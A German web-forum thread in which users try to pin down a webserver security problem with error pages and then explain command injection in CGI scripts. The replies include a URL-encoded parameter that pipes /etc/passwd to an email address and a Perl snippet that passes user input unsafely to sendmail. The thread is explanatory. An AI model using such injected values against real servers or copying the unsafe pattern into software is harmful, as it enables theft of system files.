Sicherheitsloch schließen

[Kordula Speyer]

Hallo!

Ich hab eine Frage zur Sicherheit bei Webservern,

Vor einiger Zeit hab ich mal gelesen (ich glaub es war bei heise),
daß es ein Sicherheitsproblem gibt, wenn jemand eine nicht vorhandene
Seite aufruft (z.B. www.taskmanager.net/xyzabc.html)
und die angezeigte Fehler-Seite die eingegebene URL nochmal darstellt
(die Seite /xyzabc.html existiert nicht).

Leider finde ich überhaupt keine Informationen zu diesem Fall, weiß
aber auch nicht, wonach ich genau suchen könnte.

Hätte jemand von Euch eine Adresse, einen Text oder sonstige Info zu
diesem Problem?

Dank Euch!

Gruß,

Eure Kordula

[Felix Schwarz]

Hi,

Vor einiger Zeit hab ich mal gelesen (ich glaub es war bei heise),
daß es ein Sicherheitsproblem gibt, wenn jemand eine nicht vorhandene
Seite aufruft (z.B. www.taskmanager.net/xyzabc.html)
und die angezeigte Fehler-Seite die eingegebene URL nochmal darstellt
(die Seite /xyzabc.html existiert nicht).

Das an sich kann keine Sicherheitslücke sein, weil der Client die URL schon vorher kannte. Directory listing kann ein Sicherheitsloch sein, aber das obige Problem ist keines, solange die Fehlerseite nichts anderes macht als einfach nur die URL auszugeben.

fs

[Kordula Speyer]

Hi !

Das an sich kann keine Sicherheitslücke sein, weil der Client die URL schon vorher kannte. Directory listing kann ein Sicherheitsloch sein, aber das obige Problem ist keines, solange die Fehlerseite nichts anderes macht als einfach nur die URL auszugeben.

Das an sich auch nicht.
Ich erinnere mich dunkel, dass das Sicherheitsproblem dann auftritt, wenn der fehlerhaften URL noch Scripts oder sowas mitgegeben wird.
Vielleicht sowas wie www.taskmanager.net/xyz.html|mail [e-mail] < /etc/passwd

Jedenfalls hieß es, dass der hinter der URL angegebene Code ausgeführt wird und das mit Admin-Rechten!

So oder so ähnlich war das, aber ich weiß nicht mehr wo!

Gruß!

[Christian Kruse]

Hi,

Das an sich auch nicht.
Ich erinnere mich dunkel, dass das Sicherheitsproblem dann auftritt, wenn der fehlerhaften URL
noch Scripts oder sowas mitgegeben wird.
Vielleicht sowas wie www.taskmanager.net/xyz.html|mail [e-mail] < /etc/passwd

Das hat insofern was mit der URL zu tun, als dass es ueber die URL uebergeben wird - mehr auch
nicht.
Die wirkliche Sicherheitsluecke liegt im Script, etwa bei aufrufen dieser Art:
URL: bla.blub.net/cgi-bin/bla.pl?email=xyz%40bla.de%7Cmail+just_another%40email.address+%3C+%2Fetc%2Fpasswd

use CGI qw/param/;
my $email = param("email");
open(SENDMAIL,"|/usr/sbin/sendmail $email");

Weil damit im Grunde eine Shell geoeffnet wird und der shellcode dahinter interpraetiert wird.

Wenn du mehr dazu wissen willst, schau dich mal auf http://cgi.xwolf.com um.

Gruss,
 Christian
 http://wwwtech.de

[ich]

Tag Post!

Bei Apache.org steht jedenfalls, das eine Sicherheitslücke beseitigt wurde, welche den Verzeichnisinhalt anstelle einer Fehlermeldung ausgab.
Kleiner Auszug:

Apache 1.3.19 Now Available...
...This release is
 primarily a security fix release, addressing a problem which
 could lead to a directory listing being displayed in place
 of an error message. Also, it fixes
 some broken functionality present in the 1.3.17 release and
 various Win32 issues....

[Calocybe]

Hi!

Hat ne Weile gedauert, bis ich's gefunden habe: http://www.heise.de/newsticker/result.xhtml?url=/newsticker/data/nl-16.01.00-000/default.shtml&words=Guninski

So long